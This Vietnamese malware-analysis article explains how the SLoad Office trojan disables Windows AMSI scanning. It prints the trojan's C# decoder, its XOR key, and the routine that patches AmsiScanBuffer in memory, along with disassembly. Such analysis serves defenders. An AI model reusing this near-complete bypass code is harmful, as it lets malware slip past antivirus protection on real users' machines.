Tìm hiểu về Mã độc vô hiệu hóa Antimalware Scan Interface

Antimalware Scan Interface (AMSI) là một cơ chế cho phép quét dữ liệu bằng các phần mềm phòng chống mã độc đã được cài sẵn trên hệ thống. Cơ chế này cho phép các ứng dụng yêu cầu quét dữ liệu đã tải về trước khi ghi chúng vào file. Nếu một phần mềm độc hại nào đó vô hiệu hoá được cơ chế này, nó có thể vượt qua các phần mềm phòng chống mã độc để xâm nhập vào hệ thống.

Bài viết sau đây sẽ phân tích cách thức trojan: Trojan-Downloader.MSOffice.SLoad vượt qua cơ chế AMSI như thế nào. Trojan-Downloader.MSOffice.SLoad chứa thành phần quan trọng là một đoạn mã VBA có thể chạy trong các chương trình của Microsoft Office, đoạn mã này chứa các thủ tục cho phép tạo kết nối, tải xuống, lưu trữ cũng như thực thi một file.

Trước tiên, khi quan sát một file Excel bị nhiễm đoạn mã VBA, ta thấy các đoạn macro đã bị gây nhiễu (obfuscated):

Theo dõi đoạn macro này, ta có thể thấy rằng nó sẽ thực thi lệnh chứa trong ô G135:


Macro chạy một lệnh được ghi trong ô G135

Qua nhiều lớp gây nhiễu khác nhau, đoạn macro cuối cùng khởi chạy PowerShell và thực thi đoạn mã:


Đoạn mã được thực thi trong PowerShell

Đoạn script này thực hiện tải và thực thi một file từ một website, đây là một kỹ thuật rất phổ biến. Trước đó, user-agent được thiết lập thành một chuỗi ngẫu nhiên, có thể sẽ được sử dụng bởi server để tùy chỉnh payload hoặc theo dõi sự thành công của các phương thức lây nhiễm khác nhau.

Tuy nhiên, một kỹ thuật hiếm gặp trong mẫu này đó là script PowerShell trước tiên thực hiện chuyển đổi một đoạn text đã được mã hóa (encode) base16 và gây nhiễu XOR thành một script C#, đoạn script này vô hiệu hoá một số API của Microsoft AV để tránh việc tập tin bị quét khi được tải xuống. Nó thực hiện điều này bằng cách sử dụng lệnh Add-Type trong PowerShell để tải một số mã C#. Sau khi tải được mã C#, PowerShell gọi phương thức “rbc5492” của lớp “o15b72” trước khi ngủ 1 giây, sau đó tải và chạy payload cho giai đoạn tấn công tiếp theo.

Đoạn mã C# sử dụng các native API sau:

[DllImport(“kernel32”)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport(“kernel32”)]
public static extern IntPtr LoadLibrary(string name);
[DllImport(“kernel32”)]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint
flNewProtect, out uint lpflOldProtect);
[DllImport(“Kernel32.dll”, EntryPoint = “RtlMoveMemory”, SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

Phương thức còn lại của lớp là “v4bad81”: 

public static string v4bad81(string strIn)
{
string rbf4534 = “a25baab”;
string m941db = String.Empty;
for (int i = 0; i < strIn.Length; i += 2)
{
byte b72323 = Convert.ToByte(strIn.Substring(i, 2), 16);
m941db += (char)(b72323 ^ rbf4534[(i / 2) % rbf4534.Length]);
}
return m941db;
}

Phương thức “v4bad81” này nhận một string làm tham số đầu vào, thực hiện giải mã và sau đó trả về nội dung sau khi giải mã. Nó duyệt qua string đầu vào 2 ký tự một lần và decode chúng sử dụng hàm Convert.ToByte sang dạng hex (tham số thứ 2 là 16 ). Mã độc sau đó lấy giá trị này XOR với một giá trị trích xuất từ “rbf4534” và kết hợp với chuỗi đầu ra cuối cùng. Phương thức gây nhiễu bằng phép XOR này giống hệt với phương thức được sử dụng để gây nhiễu đoạn mã C# phía trên, thậm chí còn sử dụng chung khóa và tên phương thức như hàm PowerShell.

Quay lại với phương thức “rbc5492”, ta xem xét các đoạn mã sau:

public static int rbc5492()
{
    IntPtr k98a91f = LoadLibrary(v4bad81(“005f460b4f050e0d”));
    if (k98a91f == IntPtr.Zero)
    {
      return 1;
    }

Đoạn mã này tải một thư viện được mô tả bởi chuỗi gây nhiễu “005f460b4f050e0d”. Đưa chuỗi này vào hàm khử nhiễu ta được “asmi.dll”. Do đó, đoạn mã này thực hiện lấy một handle đến DLL Antimalware Scan Interface (AMSI).

IntPtr wc852 = GetProcAddress(k98a91f, v4bad81(“205f460b3202030f704004070410”));
    if (wc852 == IntPtr.Zero)
    {
    return 1;
    }

Phần tiếp theo của đoạn mã sau đó sử dụng DLL handle này để lấy địa chỉ của hàm “AmsiScanBuffer” (được gây nhiễu thành “205f460b3202030f704004070410”). Hàm này được sử dụng để quét nội dung của bộ đệm để tìm mã độc.

UIntPtr dwSize = (UIntPtr)5;
    uint Zero = 0;
    if (!VirtualProtect(wc852, dwSize, 0x40, out Zero))
    {
    return 1;
    }

Sau đó thay đổi mã quyền truy cập bộ nhớ tại hàm “AmsiScanBuffer” thành 0x40, tức là PAGE_EXECUTE_READWRITE. Điều này cho phép việc sửa đổi mã.

 Byte[] Patch = { 0x31, 0xff, 0x90 };
      IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
      Marshal.Copy(Patch, 0, unmanagedPointer, 3);
      MoveMemory(new IntPtr(wc852.ToInt64() + 0x001b), unmanagedPointer, 3);
      return 0;
    }

Đoạn này sao chép 3 byte bộ nhớ đến offset 0x1b (27 ở hệ thập phân) trong hàm “AmsiScanBuffer”. Sau đó, nó trả điều khiển về cho script PowerShell (Tiến hành ngủ 1 giây trước khi thực hiện tải xuống).

Vậy có gì ở offset 0x1b trong hàm AmsiScanBuffer? Trên hệ điều hành Windows 10 Redstone 4 64-bit, điều này được thể hiện dưới đây (lệnh bị thay đổi được in đậm tại 00007fff`f479243b):

amsi!AmsiScanBuffer:
00007fff`f4792420 4c8bdc           mov     r11, rsp
00007fff`f4792423 49895b08         mov     qword ptr [r11+8], rbx
00007fff`f4792427 49896b10         mov     qword ptr [r11+10h], rbp
00007fff`f479242b 49897318         mov     qword ptr [r11+18h], rsi
00007fff`f479242f 57               push    rdi
00007fff`f4792430 4156             push    r14
00007fff`f4792432 4157             push    r15
00007fff`f4792434 4883ec70         sub     rsp, 70h
00007fff`f4792438 4d8bf9           mov     r15, r9
00007fff`f479243b 418bf8           mov     edi, r8d <- Lệnh bị thay đổi
00007fff`f479243e 488bf2           mov     rsi, rdx

Ba byte được ghi vào bộ nhớ chuyển lệnh bị sửa đổi thành hai lệnh:

00007fff`f479243b 31ff             xor     edi, edi
00007fff`f479243d 90               nop

Điều này thay đổi lệnh sao chép nội dung của thanh ghi r8d sang edi thành đặt giá trị edi = 0. Lý do là vì thanh ghi r8d giữ tham số thứ 3 của hàm trong quy ước gọi hàm x64 (x64 calling convention). Nguyên mẫu của hàm AmsiScanBuffer như sau:

HRESULT AmsiScanBuffer(
    HAMSICONTEXT amsiContext,
    PVOID        buffer,
    ULONG        length,
    LPCWSTR      contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT  *result
);

Như vậy, bằng cách làm cho tham số thứ ba luôn luôn bằng 0, hàm AmsiScanBuffer đã bị vô hiệu hóa do bộ đệm luôn có độ dài bằng 0. Do điều này được thực hiện bên trong PowerShell, kết quả là bất kỳ lời gọi nào thực hiện bởi tiến trình PowerShell đều không bị AmsiScanBuffer kiểm tra.

Chính vì vậy các thao tác thực hiện qua PowerShell sẽ có thể qua mắt các công cụ phòng chống mã độc, do đó cho phép dữ liệu độc hại được ghi vào file và có thể thực thi.

ĐÓN ĐỌC: Chuyên đề phân tích mã độc TẠI ĐÂY

Reference: https://www.bromium.com/disabling-anti-malware-scanning-amsi

Add Comment

Required fields are marked *. Your email address will not be published.